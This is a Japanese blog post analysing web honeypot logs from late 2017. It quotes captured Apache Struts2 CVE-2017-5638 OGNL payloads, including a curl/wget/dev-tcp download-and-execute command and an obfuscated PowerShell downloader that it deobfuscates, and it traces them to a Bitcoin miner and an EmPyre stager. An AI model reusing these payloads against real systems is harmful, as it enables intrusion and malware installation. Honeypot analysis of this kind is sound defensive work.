Shi0shishi0

汐鹿生

Webハニーポット「WoWHoneypot」を植えたので観察してみた。(2017年11月~12月)

はじめに

11月末に開催された、ハニーポッター技術交流会というイベントに参加させていただきました。
その際に、イベント主催者の @morihi_soc さんが自作のハニーポット「WOWHoneypot」の紹介をされていました。

このWOWHoneypotはGitHubで公開されている、低対話型のWebハニーポットです。導入が非常に簡単で、使いやすい点が特徴のようでした。(使い方等は上のツイートにある資料等で紹介されています)
今までSSHハニーポット(Cowrie、Kippo)しか運用したことがなく、「Webハニーポットも使ってみたいな~」と思っていたのでこれを自分の環境で使わせていただきました。
せっかく素敵なハニーポットを植えさせていただいたので、今回はどんな攻撃が観測できたかを少しだけ紹介したいと思います。

観測できたログの種類と件数

2017年11月25日~12月20日までの期間でWOWHoneypotを運用してみたところ、合計で1269件のアクセスログが確認できました。内訳は以下のような感じです。
また、これらのアクセスのうち、878件がある同一のIPアドレスからのアクセスでした。

  • パーセントエンコードしたコマンド文字列のPOST : 270件
  • CVE-2017-5638 を悪用する攻撃(Apache Struts2) : 64件
  • phpMyAdmin を狙う攻撃 : 45件
  • CVE-2017-9822 を悪用する攻撃?(DotNetNuke) : 6件
  • nmapコマンドによるスキャン : 6件
  • その他 : 多数

気になったログ1 : CVE-2017-5638

Apache Struts2脆弱性「CVE-2017-5638」を悪用しようとする攻撃が60件以上観測できました。
この脆弱性が公開された直後、日本国内の企業・組織について、「不正アクセスにより情報が流出した」「Apache Struts2脆弱性を悪用された可能性がある」という報道が多数発信されました。公開当時は、WebShellの設置にこの攻撃が用いられていたようですが、今回観測出来た攻撃の目的はそれとは異なるもののようでした。

CVE-2017-5638 を悪用しようとする攻撃も数種類観測できており、1つ目は次のような感じです。

f:id:echoha610:20171221000913p:plain

この脆弱性では、OGNL式を利用して任意のコマンドを実行することが可能、というものです。
ログを眺めてみると変数「#wcmd」にはWindows PowerShellBase64エンコードされたスクリプトを実行するコマンドが指定されています。

(#wcmd="C:\\\"Windows\\\"System32\\\"WindowsPowerShell\\\"v1.0\\\"powershell.exe -WindowStyle Hidden -encode 【Base64エンコードされたデータ】")

また、「#lcmd」にはCurlコマンドで外部からスクリプトを取得し、実行するコマンドが指定されています。

(#lcmd="nohup sh -c '(sh < /dev/tcp/***** > /dev/null || curl -s http://*****|sh > /dev/null || wget http://***** -O /var/tmp/larva.sh) && chmod +x /var/tmp/larva.sh && (nohup /var/tmp/larva.sh &) && sleep 1 && rm -f /var/tmp/larva.sh' &").

OSの情報を取得して変数「#iswin」に格納し、その中に"win"という文字列が含まれていた場合は「#wcmd」をcmd.exeで実行しようとする、そうでない場合は/bin/bashで「#lcmd」を実行しようとする、という条件分岐になっているようでした。実行するコマンドが決めたあとで、上の2つのコマンドのうちのどちらかを変数「#cmds」に入れています。

(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#wcmd}:{"/bin/bash","-c",#lcmd}))

つまり、この攻撃は攻撃対象のOSによって攻撃方法/内容が変化する、というものになっています。2種類の環境について、どのような攻撃が行われるのか調べてみました。

Windows環境での動作(#wcmd)

Base64エンコードされた文字列の部分をデコードすると、更にBase64エンコードされた文字列とPowerShellを実行するコマンドっぽいものが出てきます。

f:id:echoha610:20171216135443p:plain


Base64エンコードされた文字列をデコードすると、以下のような難読化されたPowerShellスクリプトが出てきます。(通信先の文字列は潰してます。)

(&("{1}{2}{0}"-f 'ect','New',("{1}{0}" -f'j','-Ob')) ("{1}{2}{3}{4}{0}"-f 'nt','S',("{1}{0}" -f'te','ys'),("{0}{2}{1}"-f'm','ebCli','.Net.W'),'e')).("{1}{3}{2}{0}" -f ("{1}{0}{2}" -f'tri','adS','ng'),'D',("{1}{0}" -f'nlo','w'),'o')."i`NVO`Ke"(("{0}{4}{3}{2}{5}{1}"-f ("{0}{1}" -f'htt','p:'),'ps1','**','***',("{0}{1}"-f'//www.','*'),("{0}{1}"-f '.***/**','*.')))|.("{1}{0}"-f'ex','i')

以下のように少しづつ読み解いて行くと、

(&("{1}{2}{0}"-f 'ect','New',("{1}{0}" -f'j','-Ob'))

{1} = 配列の添字1 = "New"
{2} = 配列の添字2 = "("{1}{0}" -f'j','-Ob')" -> {0} = "j", {1} = "-Ob" -> {1}{0} = "-Obj"
{0} = 配列の添字0 = "ect"

 ("{1}{2}{3}{4}{0}"-f 'nt','S',("{1}{0}" -f'te','ys'),("{0}{2}{1}"-f'm','ebCli','.Net.W'),'e'))

{1} = "S"
{2} = "{1}{0}" -f'te','ys' -> "yste"
{3} = "{0}{2}{1}"-f'm','ebCli','.Net.W' -> "m.Net.Webcli"
{4} = "e"
{0} = "nt"

.("{1}{3}{2}{0}" -f ("{1}{0}{2}" -f'tri','adS','ng'),'D',("{1}{0}" -f'nlo','w'),'o').

{1} = "D"
{3} = "o"
{2} = "{1}{0}" -f'nlo','w' -> "wnlo"
{0} = "{1}{0}{2}" -f'tri','adS','ng') -> "adString"

(&(New-Object)) System.Net.WebClient.DownloadString

PowerShellを悪用するダウンローダがよく用いる、WebClient.DownloadStringメソッドが見えます。更に読み解いていくと、最終的に外部に置かれた.ps1ファイルを読み込み、その内容をPowerShellで実行するスクリプトのようでした。
通信先の情報についてVirusTotalで調べてみると、通信先からダウンロードされるファイルがBitcoin Minerとして複数のベンダに検出されていました。攻撃が成功していた場合、Bitcoin Minerを感染させられていたと思われます。

Windows環境以外での動作(#lcmd)

もう1つの、OSがWindowsではなかったときの攻撃についても確認してみました。こちらの方は、外部から.shファイルをダウンロード、実行しているようでした。
実際にダウンロードされる.shファイルの中身を見てみると、Pythonワンライナーっぽいスクリプトをechoコマンド経由でPythonコマンドに渡しています。

スクリプトの中身を見ると、Pythonを子プロセスとして実行し、入力にはBase64エンコードされたスクリプト(と思われる文字列)をデコードして渡しています。

f:id:echoha610:20171216143649p:plain

上の画像の、Base64エンコードされたスクリプトをデコードしてみると、更にPythonスクリプトが出てきました。

f:id:echoha610:20171216143805p:plain

スクリプトの中身を見ると、子プロセスを生成・実行して、外部と通信を行なうようでした。後半部分には、RC4暗号の復号処理と、復号した文字列をexec()に渡す処理が見えます。

以上のことから、OSがWindowsでは無い環境で攻撃が成功していた場合、RC4暗号で暗号化された何らかのコマンド/スクリプトを外部から送り込まれていたのではないかと思います。
Windows環境への攻撃がBitCoin Minerへの感染を狙っていたことを考えると、こちらも最終的にはBitCoin Minerに感染させられていたのかも?

また、Base64エンコードされていたPythonスクリプト内に特徴的な文字列が幾つかあったので調べてみると、「EmPyre」というツールがヒットしました。このツールはEmpireProjectが開発しているツールの1つのようでした。コードの一致率が高いので、恐らくこれを流用しているのだと思います。

github.com

今年、日本国内で観測された標的型攻撃でEmpireProjectの「PowerShell Empire」が悪用された事例がありましたが、「EmPyre」の方は知りませんでした。

www.lac.co.jp

CVE-2017-5638は観測された当初、主にWebShellの設置に使用されていたという話を聞いていましたが、今現在もCoin Minerの感染目的で使用されていることは知りませんでした。また、GitHub等で公開されているコードやツールを攻撃に悪用する、という事例は時々目にしますが、標的型攻撃ではない、無差別に行われている攻撃でもこういうコードの流用は行われているんだな~ということを知れて新鮮でした。

気になったログ2 : CVE-2017-5638

CVE-2017-5638を悪用した攻撃のようですが、Coin Minerへの感染を狙う攻撃とは少し違うアクセスというものも観測できました。

f:id:echoha610:20171221001000p:plain

このログを見てみると、変数「#cmd」に「nMaskCustomMuttMoloz」という文字列が入っています。

(#cmd='nMaskCustomMuttMoloz')

先程のログと同じように考えると、ここには実行したいコマンドが入るはずだよな~と思って読み進めると、OSのチェックが入り、条件分岐になります。

(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))

しかし、結果がどちらであっても#cmdに格納されたコマンドを実行しようとしています。そもそも、「nMaskCustomMuttMoloz」なんてコマンドは無いのでは?と思って調べてみたらやはり無さそうでした。この攻撃についてはIIJのSOCの方が書かれている記事に情報が載っていました。


Apache Struts 2の脆弱性を狙った攻撃の観測情報 – wizSafe Security Signal -安心・安全への道標- IIJ


上の記事によると、この文字列を含む攻撃は2017年10月20日頃から急増しているようでした。また、存在しないコマンドを実行することで発生する、「コマンドが見つからない」というエラーをチェックすることで脆弱性の有無を確認していると分析していました。

気になったログ3 : CVE-2017-9822?

次のような見慣れないログがあったので、少し調べてみました。

f:id:echoha610:20171221003045p:plain

調べた結果、これは今年の8月に公開された「CVE-2017-9822」を悪用しようとする攻撃なのではないかと推定しました。この脆弱性については調べてみてもあまり情報が出てきませんでしたが、「DNN」の脆弱性で、Cookieフィールドを介して任意のコード実行が可能な脆弱性らしいです。ちなみに、DNNは「DotNetNuke」の略で、WordPressとかと同じCMSの1つらしいです。一度も聞いたことが無い名前なんだが。


JVNDB-2017-005948 - JVN iPedia - 脆弱性対策情報データベース


今回観測した攻撃では、Cookieフィールド内にBase64エンコードされたデータが入っており、これをデコードしていくと、最終的にPowerShellスクリプトが出てきました。また、出てきたPowerShellスクリプトは上の「CVE-2017-5638(パターン1)」で紹介したスクリプトと全く同じものでした。


おわりに

実は、今回紹介した3つのログは全て同一のIPアドレスから送信されたものになっています。このIPアドレスからは他にも異なる種類の攻撃が大量に送られてきていることから、何らかのツール等によって自動で大量の攻撃をばら撒いているIPアドレスなのかなと思います。ハニーポットのログを眺めていると、その時々にどんな攻撃が流行っているのかが観測できて面白いなと感じたので、これからも時間が許す限り観察を続けてみたいなと思います。